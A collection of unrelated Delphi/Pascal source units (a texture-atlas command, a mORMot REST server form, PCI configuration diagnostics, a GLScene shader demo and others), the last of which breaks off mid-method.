unit TextureAtlasExtractorIDCCommand; interface uses ControllerDataTypes, ActorActionCommandBase, Actor; {$INCLUDE source/Global_Conditionals.inc} type TTextureAtlasExtractorIDCCommand = class (TActorActionCommandBase) const C_DEFAULT_SIZE = 1024; protected FSize: longint; public constructor Create(var _Actor: TActor; var _Params: TCommandParams); override; procedure Execute; override; end; implementation uses StopWatch, TextureAtlasExtractorBase, TextureAtlasExtractorIDC, GlobalVars, SysUtils; constructor TTextureAtlasExtractorIDCCommand.Create(var _Actor: TActor; var _Params: TCommandParams); begin FCommandName := 'Texture Atlas Extraction IDC'; ReadAttributes1Int(_Params, FSize, C_DEFAULT_SIZE); inherited Create(_Actor,_Params); end; procedure TTextureAtlasExtractorIDCCommand.Execute; var TexExtractor : CTextureAtlasExtractorBase; {$ifdef SPEED_TEST} StopWatch : TStopWatch; {$endif} begin {$ifdef SPEED_TEST} StopWatch := TStopWatch.Create(true); {$endif} // First, we'll build the texture atlas. TexExtractor := CTextureAtlasExtractorIDC.Create(FActor.Models[0]^.LOD[FActor.Models[0]^.CurrentLOD]); TexExtractor.ExecuteWithDiffuseTexture(FSize); TexExtractor.Free; {$ifdef SPEED_TEST} StopWatch.Stop; GlobalVars.SpeedFile.Add('Texture atlas and diffuse texture extraction (IDC) for LOD takes: ' + FloatToStr(StopWatch.ElapsedNanoseconds) + ' nanoseconds.'); StopWatch.Free; {$endif} end; end.
unit RestServerFormUnit; // mORMot RESTful API test case 1.02 interface uses // RTL Winapi.Windows, Winapi.Messages, System.SysUtils, System.Classes, System.Generics.Collections, Vcl.Forms, Vcl.Dialogs, Vcl.Controls, Vcl.StdCtrls, Vcl.ExtCtrls, // mORMot mORMot, mORMotHttpServer, SynLog, SynCommons, // Custom RestServerUnit, Vcl.ComCtrls; type lServerAction = (Auto, Start, Stop, Restart); TForm1 = class(TForm) EditPort: TEdit; LabelPortCap: TLabel; ButtonStartStop: TButton; MemoLog: TMemo; ButtonCLS: TButton; TimerRefreshLogMemo: TTimer; CheckBoxAutoScroll: TCheckBox; LabelAuthenticationMode: TLabel; ComboBoxAuthentication: TComboBox; ButtonShowAuthorizationInfo: TButton; CheckBoxDisableLog: TCheckBox; LabelProtocol: TLabel; ComboBoxProtocol: TComboBox; ListViewMethodGroups: TListView; GroupBoxMethodGroupConfiguration: TGroupBox; RadioGroupAuthorizationPolicy: TRadioGroup; ButtonSaveRoleConfiguration: TButton; EditAllowGroupNames: TEdit; EditDenyAllowGroupNames: TEdit; GroupBoxUsers: TGroupBox; ListViewUsers: TListView; EditUserGroup: TEdit; ButtonSaveUsers: TButton; EditUserName: TEdit; ButtonAddUser: TButton; ButtonDeleteUser: TButton; procedure ButtonStartStopClick(Sender: TObject); procedure FormCreate(Sender: TObject); procedure ButtonCLSClick(Sender: TObject); procedure FormDestroy(Sender: TObject); procedure TimerRefreshLogMemoTimer(Sender: TObject); procedure ComboBoxAuthenticationChange(Sender: TObject); procedure ButtonShowAuthorizationInfoClick(Sender: TObject); procedure CheckBoxDisableLogClick(Sender: TObject); procedure ComboBoxProtocolChange(Sender: TObject); private function LogEvent(Sender: TTextWriter; Level: TSynLogInfo; const Text: RawUTF8): boolean; function GetAuthModeDescription(AM: lAuthenticationMode): string; procedure StartStopServer(ServerAction: lServerAction = Auto); public { Public declarations } end; TLocalLog = class Level: TSynLogInfo; Text: RawUTF8; end; var Form1: TForm1; LogThreadSafeList: TThreadList<TLocalLog>; implementation {$R *.dfm} { TForm1 } // On Form1 create procedure TForm1.FormCreate(Sender: TObject); begin // Create thread safe List with log data class LogThreadSafeList := TThreadList<TLocalLog>.Create(); // Enable logging with TSQLLog.Family do begin Level := LOG_VERBOSE; EchoCustom := LogEvent; NoFile := True; end; end; // On Form1 destory procedure TForm1.FormDestroy(Sender: TObject); var i: integer; List: TList<TLocalLog>; begin // Clear and destroy LogThreadSafeList List := LogThreadSafeList.LockList(); for i := 0 to List.Count - 1 do List.Items[i].Free; List.Clear; LogThreadSafeList.UnlockList(); FreeAndNil(LogThreadSafeList); end; { SERVER EVENTS, START / STOP } // Depends on the server status, start or stop server (create or destroy objects) procedure TForm1.StartStopServer(ServerAction: lServerAction = Auto); var pServerCreated: boolean; ServerSettings: rServerSettings; begin pServerCreated := RestServer.Initialized; // Unload current server if required if pServerCreated then RestServer.DeInitialize(); // Create server if required if ((ServerAction = lServerAction.Auto) and not pServerCreated) or ((ServerAction = lServerAction.Restart) and pServerCreated) or (ServerAction = lServerAction.Start) then begin // Create server object with selected Protocol and Auth mode ServerSettings.Protocol := lProtocol(ComboBoxProtocol.ItemIndex); ServerSettings.AuthMode := lAuthenticationMode(ComboBoxAuthentication.ItemIndex); ServerSettings.Port := EditPort.Text; RestServer.Initialize(ServerSettings); end; end; // Processing mORMot log event function TForm1.LogEvent(Sender: TTextWriter; Level: TSynLogInfo; const Text: RawUTF8): boolean; var List: TList<TLocalLog>; LogEventData: TLocalLog; begin Result := False; if Assigned(LogThreadSafeList) then begin List := LogThreadSafeList.LockList; try LogEventData := TLocalLog.Create(); LogEventData.Level := Level; LogEventData.Text := Text; List.Add(LogEventData); Result := True; finally LogThreadSafeList.UnlockList(); end; end; end; { UI } // Grabbing new events from thread safe list procedure TForm1.TimerRefreshLogMemoTimer(Sender: TObject); var List: TList<TLocalLog>; i: integer; begin if Assigned(LogThreadSafeList) then begin List := LogThreadSafeList.LockList(); try if Assigned(Form1) and not Application.Terminated and (List.Count > 0) then begin for i := 0 to List.Count - 1 do begin Form1.MemoLog.Lines.BeginUpdate(); Form1.MemoLog.Lines.Add(string(List.Items[i].Text)); Form1.MemoLog.Lines.EndUpdate(); List.Items[i].Free; end; List.Clear(); if CheckBoxAutoScroll.Checked then SendMessage(Form1.MemoLog.Handle, WM_VSCROLL, SB_BOTTOM, 0); end; finally LogThreadSafeList.UnlockList(); end; end; if RestServer.Initialized then ButtonStartStop.Caption := 'Stop server' else ButtonStartStop.Caption := 'Start server'; end; // Get description for AuthMode function TForm1.GetAuthModeDescription(AM: lAuthenticationMode): string; begin case AM of NoAuthentication: Result := 'Disabled authentication.'; URI: Result := 'Weak authentication scheme using URL-level parameter'; SignedURI: Result := 'Secure authentication scheme using URL-level digital signature - expected format of session_signature is:' + #13 + 'Hexa8(SessionID) + Hexa8(TimeStamp) + ' + #13 + 'Hexa8(crc32(SessionID + HexaSessionPrivateKey Sha256(salt + PassWord) + Hexa8(TimeStamp) + url))'; Default: Result := 'mORMot secure RESTful authentication scheme, this method will use a password stored via safe SHA-256 hashing in the TSQLAuthUser ORM table'; None: Result := 'mORMot weak RESTful authentication scheme, this method will authenticate with a given username, but no signature' + #13 + 'on client side, this scheme is not called by TSQLRestClientURI.SetUser() method - so you have to write:' + #13 + 'TSQLRestServerAuthenticationNone.ClientSetUser(Client,''User'','''');'; HttpBasic: Result := 'Authentication using HTTP Basic scheme. This protocol send both name and password as clear (just base-64 encoded) so should only be used over SSL / HTTPS' + ', or for compatibility reasons. Will rely on TSQLRestServerAuthenticationNone for authorization, on client side, this scheme is not called by TSQLRestClientURI.SetUser() ' + 'method - so you have to write: TSQLRestServerAuthenticationHttpBasic.ClientSetUser(Client,''User'',''password'');' + #13 + 'for a remote proxy-only authentication (without creating any mORMot session), you can write: TSQLRestServerAuthenticationHttpBasic.ClientSetUserHttpOnly(Client,''proxyUser'',''proxyPass'');'; SSPI: Result := 'authentication of the current logged user using Windows Security Support Provider Interface (SSPI)' + #13 + '- is able to authenticate the currently logged user on the client side, using either NTLM or Kerberos - it would allow to safely authenticate on a mORMot server without prompting' + ' the user to enter its password' + #13 + '- if ClientSetUser() receives aUserName as '''', aPassword should be either '''' if you expect NTLM authentication to take place,' + ' or contain the SPN registration (e.g. ''mymormotservice/myserver.mydomain.tld'') for Kerberos authentication.' + #13 + '- if ClientSetUser() receives aUserName as ''DomainName\UserName'', then authentication will take place on the specified domain, with aPassword as plain password value.'; else Result := 'Authentication description'; end; end; // Changing server protocol procedure TForm1.ComboBoxProtocolChange(Sender: TObject); begin StartStopServer(Restart); end; // Changing server authentication mode procedure TForm1.ComboBoxAuthenticationChange(Sender: TObject); begin StartStopServer(Restart); end; // Button clear log procedure TForm1.ButtonCLSClick(Sender: TObject); begin MemoLog.Clear; end; // Button show authorization mode description procedure TForm1.ButtonShowAuthorizationInfoClick(Sender: TObject); var AM: lAuthenticationMode; begin AM := lAuthenticationMode(ComboBoxAuthentication.ItemIndex); ShowMessage(GetAuthModeDescription(AM)); end; // Button start stop server procedure TForm1.ButtonStartStopClick(Sender: TObject); begin StartStopServer(); end; // Checkbox Enable/Disable logging to memo (slow down performance when enabled) procedure TForm1.CheckBoxDisableLogClick(Sender: TObject); begin if not CheckBoxDisableLog.Checked then TSQLLog.Family.Level := LOG_VERBOSE else TSQLLog.Family.Level := []; end; end.
unit CoverageMap; {$mode delphi}{$h+} interface const MaxSubroutines=20*1000; type PSubroutineDescriptor = ^TSubroutineDescriptor; TSubroutineDescriptor = record Id:LongWord; Name:String; IsFunction:Boolean; end; function SubroutineFindDescriptor(Name:String):PSubroutineDescriptor; var SubroutineDescriptors:Array[0..MaxSubroutines - 1] of TSubroutineDescriptor; implementation uses SysUtils; var Count:LongWord; function SubroutineFindDescriptor(Name:String):PSubroutineDescriptor; var I:Integer; begin for I:=Low(SubroutineDescriptors) to High(SubroutineDescriptors) do if AnsiPos(Name,SubroutineDescriptors[I].Name) <> 0 then begin Result:=@SubroutineDescriptors[I]; exit; end; Result:=nil; end; procedure AddFileName(FileName:String); begin end; procedure AddSubroutine(Name:String); var Index:Integer; begin Name:=Trim(Name); SubroutineDescriptors[Count].Id:=Count; SubroutineDescriptors[Count].Name:=Name; SubroutineDescriptors[Count].IsFunction:=False; Index:=AnsiPos('$$',Name); if Index <> 0 then if AnsiPos('$$',Copy(Name,Index + 2,Length(Name) - (Index + 2))) <> 0 then SubroutineDescriptors[Count].IsFunction:=True; Inc(Count); end; initialization Count:=0; {$i coveragemap.inc} while Count < MaxSubroutines do AddSubroutine(Format('entry %5d',[Count])); end.
unit Utils; interface uses SysUtils, Windows, Classes, Controls, Forms, Graphics; procedure AddForm(var outForm; inFormClass: TFormClass; inParent: TWinControl; inAlign: TAlign = alClient; inShow: Boolean = true); procedure SaveComponentToStream(inComp: TComponent; inStream: TStream); function LoadComponentFromStream(inComp: TComponent; inStream: TStream; inOnError: TReaderError): TComponent; procedure SaveComponentToFile(inComp: TComponent; const inFilename: string); procedure LoadComponentFromFile(inComp: TComponent; const inFilename: string; inOnError: TReaderError); procedure PaintRules(inCanvas: TCanvas; const inRect: TRect; inDivs: Integer = 32; inSubDivs: Boolean = true); implementation procedure AddForm(var outForm; inFormClass: TFormClass; inParent: TWinControl; inAlign: TAlign = alClient; inShow: Boolean = true); begin TForm(outForm) := inFormClass.Create(nil); with TForm(outForm) do begin BorderIcons := []; Caption := ''; BorderStyle := bsNone; Align := inAlign; Parent := inParent; Visible := inShow; end; end; procedure SaveComponentToStream(inComp: TComponent; inStream: TStream); var ms: TMemoryStream; begin ms := TMemoryStream.Create; try ms.WriteComponent(inComp); ms.Position := 0; ObjectBinaryToText(ms, inStream); finally ms.Free; end; end; procedure SaveComponentToFile(inComp: TComponent; const inFilename: string); var fs: TFileStream; begin fs := TFileStream.Create(inFilename, fmCreate); try SaveComponentToStream(inComp, fs); finally fs.Free; end; end; function LoadComponentFromStream(inComp: TComponent; inStream: TStream; inOnError: TReaderError): TComponent; var ms: TMemoryStream; begin ms := TMemoryStream.Create; try ObjectTextToBinary(inStream, ms); ms.Position := 0; with TReader.Create(ms, 4096) do try OnError := inOnError; Result := ReadRootComponent(inComp); finally Free; end; finally ms.Free; end; end; procedure LoadComponentFromFile(inComp: TComponent; const inFilename: string; inOnError: TReaderError); var fs: TFileStream; begin if FileExists(inFilename) then begin fs := TFileStream.Create(inFilename, fmOpenRead); try LoadComponentFromStream(inComp, fs, inOnError); finally fs.Free; end; end; end; procedure PaintRules(inCanvas: TCanvas; const inRect: TRect; inDivs: Integer; inSubDivs: Boolean); var d, d2, w, h, i: Integer; begin d := inDivs; d2 := inDivs div 2; w := (inRect.Right - inRect.Left + d - 1) div d; h := (inRect.Bottom - inRect.Top + d - 1) div d; with inCanvas do begin Pen.Style := psDot; for i := 0 to w do begin Pen.Color := $DDDDDD; MoveTo(i * d, inRect.Top); LineTo(i * d, inRect.Bottom); if inSubDivs then begin Pen.Color := $F0F0F0; MoveTo(i * d + d2, inRect.Top); LineTo(i * d + d2, inRect.Bottom); end; end; for i := 0 to h do begin Pen.Color := $DDDDDD; MoveTo(inRect.Left, i * d); LineTo(inRect.Right, i * d); if inSubDivs then begin Pen.Color := $F0F0F0; MoveTo(inRect.Left, i * d + d2); LineTo(inRect.Right, i * d + d2); end; end; end; end; end.
{ ---------------------------------------------------------------- File - PCI_DIAG_LIB.PAS Utility functions for printing card information, detecting PCI cards, and accessing PCI configuration registers. Copyright (c) 2003 Jungo Ltd. http://www.jungo.com ---------------------------------------------------------------- } unit PCI_diag_lib; interface uses Windows, SysUtils, windrvr, print_struct, status_strings; type FIELDS_ARRAY = record name : PCHAR; dwOffset : DWORD; dwBytes : DWORD; dwVal : DWORD; end; var line : string[255]; { input of command from user } function PCI_Get_WD_handle(phWD : PHANDLE) : BOOLEAN; procedure PCI_Print_card_info(pciSlot : WD_PCI_SLOT); procedure PCI_Print_all_cards_info; procedure PCI_EditConfigReg(pciSlot : WD_PCI_SLOT); function PCI_ChooseCard(ppciSlot : PWD_PCI_SLOT) : BOOLEAN; implementation function PCI_Get_WD_handle(phWD : PHANDLE) : BOOLEAN; var ver : SWD_VERSION; begin phWD^ := INVALID_HANDLE_VALUE; phWD^ := WD_Open(); { Check whether handle is valid and version OK } if phWD^ = INVALID_HANDLE_VALUE then begin Writeln('Cannot open WinDriver device'); PCI_Get_WD_handle := False; Exit; end; FillChar(ver, SizeOf(ver), 0); WD_Version(phWD^,ver); if ver.dwVer<WD_VER then begin Writeln('Error - incorrect WinDriver version'); WD_Close(phWD^); phWD^ := INVALID_HANDLE_VALUE; PCI_Get_WD_handle := False; end else PCI_Get_WD_handle := True; end; procedure PCI_Print_card_info(pciSlot : WD_PCI_SLOT); var hWD : HANDLE; pciCardInfo : WD_PCI_CARD_INFO; dwStatus : DWORD; begin if not PCI_Get_WD_handle (@hWD) then Exit; FillChar(pciCardInfo, SizeOf(pciCardInfo), 0); pciCardInfo.pciSlot := pciSlot; dwStatus := WD_PciGetCardInfo(hWD, pciCardInfo); if dwStatus>0 then Writeln('WD_PciGetCardInfo failed with status $', IntToHex(dwStatus, 8), Stat2Str(dwStatus)) else WD_CARD_print(@pciCardInfo.Card, ' '); WD_Close (hWD); end; procedure PCI_Print_all_cards_info; var hWD : HANDLE; i : INTEGER; pciScan : WD_PCI_SCAN_CARDS; pciSlot : WD_PCI_SLOT; pciId : WD_PCI_ID; tmp : string[2]; dwStatus : DWORD; begin if not PCI_Get_WD_handle (@hWD) then Exit; FillChar(pciScan, SizeOf(pciScan), 0); pciScan.searchId.dwVendorId := 0; pciScan.searchId.dwDeviceId := 0; Writeln('Pci bus scan.'); Writeln(''); dwStatus := WD_PciScanCards (hWD,pciScan); if dwStatus>0 then begin Writeln('WD_PciScanCards failed with status ($', IntToHex(dwStatus, 8), ') - ', Stat2Str(dwStatus)); Exit; end; for i:=1 to pciScan.dwCards do begin pciId := pciScan.cardId[i-1]; pciSlot := pciScan.cardSlot[i-1]; Writeln('Bus ', pciSlot.dwBus, ' Slot ', pciSlot.dwSlot, ' Function ', pciSlot.dwFunction, ' VendorID $', IntToHex(pciId.dwVendorId, 4), ' DeviceID $', IntToHex(pciId.dwDeviceId, 4)); PCI_Print_card_info(pciSlot); Writeln('Press Enter to continue to next slot'); Readln(tmp); end; WD_Close (hWD); end; function PCI_ReadBytes(hWD : HANDLE; pciSlot : WD_PCI_SLOT; dwOffset : DWORD; dwBytes : DWORD) : DWORD; var pciCnf : WD_PCI_CONFIG_DUMP; dwVal : DWORD; dwMask : DWORD; dwDwordOffset : DWORD; begin dwVal := 0; dwDwordOffset := dwOffset mod 4; FillChar(pciCnf, SizeOf(pciCnf), 0); pciCnf.pciSlot := pciSlot; pciCnf.pBuffer := @dwVal; pciCnf.dwOffset := dwOffset; pciCnf.dwOffset := pciCnf.dwOffset - dwDwordOffset; pciCnf.dwBytes := 4; pciCnf.fIsRead := 1; WD_PciConfigDump(hWD,pciCnf); dwVal := dwVal shr (dwDwordOffset*8); case dwBytes of 1: dwMask := $ff; 2: dwMask := $ffff; 3: dwMask := $ffffff; 4: dwMask := $ffffffff; end; dwVal := dwVal and dwMask; PCI_ReadBytes := dwVal; end; procedure PCI_WriteBytes(hWD : HANDLE; pciSlot : WD_PCI_SLOT; dwOffset : DWORD; dwBytes : DWORD; dwData : DWORD); var pciCnf : WD_PCI_CONFIG_DUMP; dwVal : DWORD; dwMask : DWORD; dwDwordOffset : DWORD; begin dwVal := 0; dwDwordOffset := dwOffset mod 4; FillChar(pciCnf, SizeOf(pciCnf), 0); pciCnf.pciSlot := pciSlot; pciCnf.pBuffer := @dwVal; pciCnf.dwOffset := dwOffset; pciCnf.dwOffset := pciCnf.dwOffset - dwDwordOffset; pciCnf.dwBytes := 4; pciCnf.fIsRead := 1; WD_PciConfigDump(hWD,pciCnf); case dwBytes of 1: dwMask := $ff; 2: dwMask := $ffff; 3: dwMask := $ffffff; 4: dwMask := $ffffffff; end; dwVal := dwVal and (not (dwMask shl (dwDwordOffset*8))); dwVal := dwVal or ((dwMask and dwData) shl (dwDwordOffset*8)); pciCnf.fIsRead := 0; WD_PciConfigDump(hWD,pciCnf); end; procedure PCI_EditConfigReg(pciSlot : WD_PCI_SLOT); var hWD : HANDLE; fields : array [0..29] of FIELDS_ARRAY; i, cmd : INTEGER; dwVal : DWORD; begin if not PCI_Get_WD_handle (@hWD) then Exit; i := 0; fields[i].name := 'VID'; fields[i].dwOffset := $0; fields[i].dwBytes := 2; i:=i+1; fields[i].name := 'DID'; fields[i].dwOffset := $2; fields[i].dwBytes := 2; i:=i+1; fields[i].name := 'CMD'; fields[i].dwOffset := $4; fields[i].dwBytes := 2; i:=i+1; fields[i].name := 'STS'; fields[i].dwOffset := $6; fields[i].dwBytes := 2; i:=i+1; fields[i].name := 'RID'; fields[i].dwOffset := $8; fields[i].dwBytes := 1; i:=i+1; fields[i].name := 'CLCD'; fields[i].dwOffset := $9; fields[i].dwBytes := 3; i:=i+1; fields[i].name := 'CALN'; fields[i].dwOffset := $c; fields[i].dwBytes := 1; i:=i+1; fields[i].name := 'LAT'; fields[i].dwOffset := $d; fields[i].dwBytes := 1; i:=i+1; fields[i].name := 'HDR'; fields[i].dwOffset := $e; fields[i].dwBytes := 1; i:=i+1; fields[i].name := 'BIST'; fields[i].dwOffset := $f; fields[i].dwBytes := 1; i:=i+1; fields[i].name := 'BADDR0'; fields[i].dwOffset := $10; fields[i].dwBytes := 4; i:=i+1; fields[i].name := 'BADDR1'; fields[i].dwOffset := $14; fields[i].dwBytes := 4; i:=i+1; fields[i].name := 'BADDR2'; fields[i].dwOffset := $18; fields[i].dwBytes := 4; i:=i+1; fields[i].name := 'BADDR3'; fields[i].dwOffset := $1c; fields[i].dwBytes := 4; i:=i+1; fields[i].name := 'BADDR4'; fields[i].dwOffset := $20; fields[i].dwBytes := 4; i:=i+1; fields[i].name := 'BADDR5'; fields[i].dwOffset := $24; fields[i].dwBytes := 4; i:=i+1; fields[i].name := 'EXROM'; fields[i].dwOffset := $30; fields[i].dwBytes := 4; i:=i+1; fields[i].name := 'INTLN'; fields[i].dwOffset := $3c; fields[i].dwBytes := 1; i:=i+1; fields[i].name := 'INTPIN'; fields[i].dwOffset := $3d; fields[i].dwBytes := 1; i:=i+1; fields[i].name := 'MINGNT'; fields[i].dwOffset := $3e; fields[i].dwBytes := 1; i:=i+1; fields[i].name := 'MAXLAT'; fields[i].dwOffset := $3f; fields[i].dwBytes := 1; i:=i+1; repeat begin Writeln(''); Writeln('Edit PCI configuration registers'); Writeln('--------------------------------'); for i:=0 to 20 do begin fields[i].dwVal := PCI_ReadBytes(hWD, pciSlot, fields[i].dwOffset, fields[i].dwBytes); Writeln(i+1, '. ', fields[i].name, ' : ', IntToHex(fields[i].dwVal, 8)); end; Writeln('99. Back to main menu'); Write('Choose register to write to, or 99 to exit: '); cmd := 0; Readln(line); cmd := StrToInt(line); if (cmd>=1) and (cmd<=21) then begin i := cmd-1; Write('Enter value (Hex) to write to ', fields[i].name, ' register (or <X> to cancel): '); Readln(line); line := UpperCase(line); if line[1]<>'X' then begin dwVal := 0; dwVal := HexToInt(line); if ((dwVal > $ff) and (fields[i].dwBytes = 1)) or ((dwVal > $ffff) and (fields[i].dwBytes = 2)) or ((dwVal > $ffffff) and (fields[i].dwBytes = 3)) then Writeln('Error: value to big for register') else PCI_WriteBytes(hWD, pciSlot, fields[i].dwOffset, fields[i].dwBytes, dwVal); end; end; end; until cmd=99; WD_Close (hWD); end; function PCI_ChooseCard(ppciSlot : PWD_PCI_SLOT) : BOOLEAN; var fHasCard : BOOLEAN; pciScan : WD_PCI_SCAN_CARDS; dwVendorID, dwDeviceID : DWORD; hWD : HANDLE; i : DWORD; dwStatus : DWORD; begin if not PCI_Get_WD_handle (@hWD) then begin PCI_ChooseCard := False; Exit; end; fHasCard := False; while not fHasCard do begin dwVendorID := 0; Write('Enter VendorID: '); Readln(line); dwVendorID := HexToInt(line); if dwVendorID = 0 then Break; Write('Enter DeviceID: '); Readln(line); dwDeviceID := HexToInt(line); FillChar(pciScan, SizeOf(pciScan), 0); pciScan.searchId.dwVendorId := dwVendorID; pciScan.searchId.dwDeviceId := dwDeviceID; dwStatus := WD_PciScanCards (hWD, pciScan); if dwStatus>0 then begin Writeln('WD_PciScanCards failed with status ($', IntToHex(dwStatus, 8), ') - ', Stat2Str(dwStatus)); WD_Close(hWD); end; if pciScan.dwCards = 0 { One card at least must be found } then Writeln('Error - cannot find PCI card') else if pciScan.dwCards = 1 then begin ppciSlot^ := pciScan.cardSlot[0]; fHasCard := True; end else begin Writeln('Found ', pciScan.dwCards, ' matching PCI cards'); Write('Select card (1-', pciScan.dwCards, '): '); i := 0; Readln(line); i := StrToInt(line); if (i>=1) and (i <=pciScan.dwCards) then begin ppciSlot^ := pciScan.cardSlot[i-1]; fHasCard := True; end else Writeln('Choice out of range'); end; if not fHasCard then begin Write('Do you want to try a different VendorID/DeviceID? '); Readln(line); line := UpperCase(line); if line[1] <> 'Y' then Break; end; end; WD_Close (hWD); PCI_ChooseCard := fHasCard; end; end.
{: Basic GLMultiMaterialShader example.<p> The GLMultiMaterialShader applies a pass for each material in the assigned MaterialLibrary. This example shows how to apply three blended textures to an object. A fourth texture is used in the specular pass to map the area affected by the chrome-like shine. } unit Unit1; interface uses SysUtils, Classes, Graphics, Controls, Forms, Dialogs, GLScene, GLObjects, GLLCLViewer, GLTexture, GLCadencer, GLMultiMaterialShader, GLTexCombineShader, GLMaterial, GLCoordinates, GLCrossPlatform, GLBaseClasses; type TForm1 = class(TForm) GLScene1: TGLScene; GLMaterialLibrary1: TGLMaterialLibrary; GLSceneViewer1: TGLSceneViewer; GLCamera1: TGLCamera; GLDummyCube1: TGLDummyCube; GLCube1: TGLCube; GLLightSource1: TGLLightSource; GLMaterialLibrary2: TGLMaterialLibrary; GLMultiMaterialShader1: TGLMultiMaterialShader; GLCadencer1: TGLCadencer; GLTexCombineShader1: TGLTexCombineShader; procedure FormCreate(Sender: TObject); procedure GLSceneViewer1MouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: integer); procedure GLSceneViewer1MouseMove(Sender: TObject; Shift: TShiftState; X, Y: integer); procedure GLCadencer1Progress(Sender: TObject; const deltaTime, newTime: double); private { Private declarations } public { Public declarations } mx, my: integer; end; var Form1: TForm1; implementation {$R *.lfm} uses GLUtils; { TForm1 } procedure TForm1.FormCreate(Sender: TObject); begin SetGLSceneMediaDir(); with GLMaterialLibrary1 do begin // Add the specular pass with AddTextureMaterial('specular', 'GLScene_alpha.bmp') do begin // tmBlend for shiny background //Material.Texture.TextureMode:=tmBlend; // tmModulate for shiny text Material.Texture.TextureMode := tmModulate; Material.BlendingMode := bmAdditive; Texture2Name := 'specular_tex2'; end; with AddTextureMaterial('specular_tex2', 'chrome_buckle.bmp') do begin Material.Texture.MappingMode := tmmCubeMapReflection; Material.Texture.ImageBrightness := 0.3; end; end; // GLMaterialLibrary2 is the source of the GLMultiMaterialShader // passes. with GLMaterialLibrary2 do begin // Pass 1 : Base texture AddTextureMaterial('Pass1', 'GLScene.bmp');//} // Pass 2 : Add a bit of detail with AddTextureMaterial('Pass2', 'detailmap.jpg') do begin Material.Texture.TextureMode := tmBlend; Material.BlendingMode := bmAdditive; end;//} // Pass 3 : And a little specular reflection with TGLLibMaterial.Create(GLMaterialLibrary2.Materials) do begin Material.MaterialLibrary := GLMaterialLibrary1; Material.LibMaterialName := 'specular'; end;//} // This isn't limited to 3, try adding some more passes! end; end; procedure TForm1.GLSceneViewer1MouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: integer); begin mx := x; my := y; end; procedure TForm1.GLSceneViewer1MouseMove(Sender: TObject; Shift: TShiftState; X, Y: integer); begin if ssLeft in shift then GLCamera1.MoveAroundTarget(my - y, mx - x); mx := x; my := y; end; procedure TForm1.GLCadencer1Progress(Sender: TObject; const deltaTime, newTime: double); begin GLCube1.Turn(deltaTime * 10); end; end.
unit InflatablesList_ItemPictures_Base; {$INCLUDE '.\InflatablesList_defs.inc'} interface uses Graphics, AuxTypes, AuxClasses, CRC32, InflatablesList_Types; type TILThumbnailSize = (iltsOriginal,iltsFull,iltsSmall,iltsMini); TILItemPicturesEntry = record PictureFile: String; // only file name, not full path PictureSize: UInt64; PictureWidth: Int32; PictureHeight: Int32; Thumbnail: TBitmap; ThumbnailSmall: TBitmap; ThumbnailMini: TBitmap; ItemPicture: Boolean; PackagePicture: Boolean; end; PILItemPicturesEntry = ^TILItemPicturesEntry; TILPictureAutomationInfo = record FileName: String; FilePath: String; CRC32: TCRC32; Size: UInt64; Width: Int32; Height: Int64; end; TILItemObjectRequired = Function(Sender: TObject): TObject of object; TILItemPictures_Base = class(TCustomListObject) protected // internals fStaticSettings: TILStaticManagerSettings; fOwner: TObject; // should be TILItem, but it would cause circular reference fUpdateCounter: Integer; fUpdated: Boolean; fInitializing: Boolean; // data fPictures: array of TILItemPicturesEntry; fCount: Integer; fCurrentSecondary: Integer; fOnPicturesChange: TNotifyEvent; // getters, setters procedure SetStaticSettings(Value: TILStaticManagerSettings); virtual; Function GetEntry(Index: Integer): TILItemPicturesEntry; virtual; procedure SetCurrentSecondary(Value: Integer); virtual; // list methods Function GetCapacity: Integer; override; procedure SetCapacity(Value: Integer); override; Function GetCount: Integer; override; procedure SetCount(Value: Integer); override; // event callers procedure UpdatePictures; virtual; // other methods procedure Initialize; virtual; procedure Finalize; virtual; class procedure FreeEntry(var Entry: TILItemPicturesEntry; KeepFile: Boolean = False); virtual; class procedure GenerateSmallThumbnails(var Entry: TILItemPicturesEntry); virtual; public constructor Create(Owner: TObject); constructor CreateAsCopy(Owner: TObject; Source: TILItemPictures_Base; UniqueCopy: Boolean); destructor Destroy; override; Function LowIndex: Integer; override; Function HighIndex: Integer; override; procedure BeginUpdate; virtual; procedure EndUpdate; virtual; procedure BeginInitialization; virtual; procedure EndInitialization; virtual; Function IndexOf(const PictureFile: String): Integer; overload; virtual; Function IndexOf(Thumbnail: TBitmap): Integer; overload; virtual; Function IndexOfItemPicture: Integer; virtual; Function IndexOfPackagePicture: Integer; virtual; Function Add(AutomationInfo: TILPictureAutomationInfo): Integer; overload; virtual; Function Add(const PictureFile: String): Integer; overload; virtual; procedure Exchange(Idx1,Idx2: Integer); virtual; procedure Delete(Index: Integer); virtual; procedure Clear(Destroying: Boolean = False); virtual; Function AutomatePictureFile(const FileName: String; out AutomationInfo: TILPictureAutomationInfo): Boolean; virtual; procedure RealodPictureInfo(Index: Integer); virtual; procedure OpenThumbnailFile(Index: Integer; ThumbnailSize: TILThumbnailSize); virtual; procedure OpenPictureFile(Index: Integer); virtual; procedure SetThumbnail(Index: Integer; Thumbnail: TBitmap; CreateCopy: Boolean); virtual; procedure SetItemPicture(Index: Integer; Value: Boolean); virtual; procedure SetPackagePicture(Index: Integer; Value: Boolean); virtual; Function SecondaryCount(WithThumbnailOnly: Boolean): Integer; virtual; Function SecondaryIndex(Index: Integer): Integer; virtual; Function PrevSecondary: Integer; virtual; Function NextSecondary: Integer; virtual; Function ImportPictures(Source: TILItemPictures_Base): Integer; virtual; Function ExportPicture(Index: Integer; const IntoDirectory: String): Boolean; virtual; Function ExportThumbnail(Index: Integer; const IntoDirectory: String): Boolean; virtual; procedure AssignInternalEvents(OnPicturesChange: TNotifyEvent); virtual; property StaticSettings: TILStaticManagerSettings read fStaticSettings write SetStaticSettings; property Owner: TObject read fOwner; property Pictures[Index: Integer]: TILItemPicturesEntry read GetEntry; default; property CurrentSecondary: Integer read fCurrentSecondary write SetCurrentSecondary; end; implementation uses SysUtils, JPEG, WinFileInfo, StrRect, InflatablesList_Utils, InflatablesList_Item; procedure TILItemPictures_Base.SetStaticSettings(Value: TILStaticManagerSettings); begin fStaticSettings := IL_ThreadSafeCopy(Value); end; //------------------------------------------------------------------------------ Function TILItemPictures_Base.GetEntry(Index: Integer): TILItemPicturesEntry; begin If CheckIndex(Index) then Result := fPictures[Index] else raise Exception.CreateFmt('TILItemPictures_Base.GetEntry: Index (%d) out of bounds.',[Index]); end; //------------------------------------------------------------------------------ procedure TILItemPictures_Base.SetCurrentSecondary(Value: Integer); begin If CheckIndex(Value) then begin If not 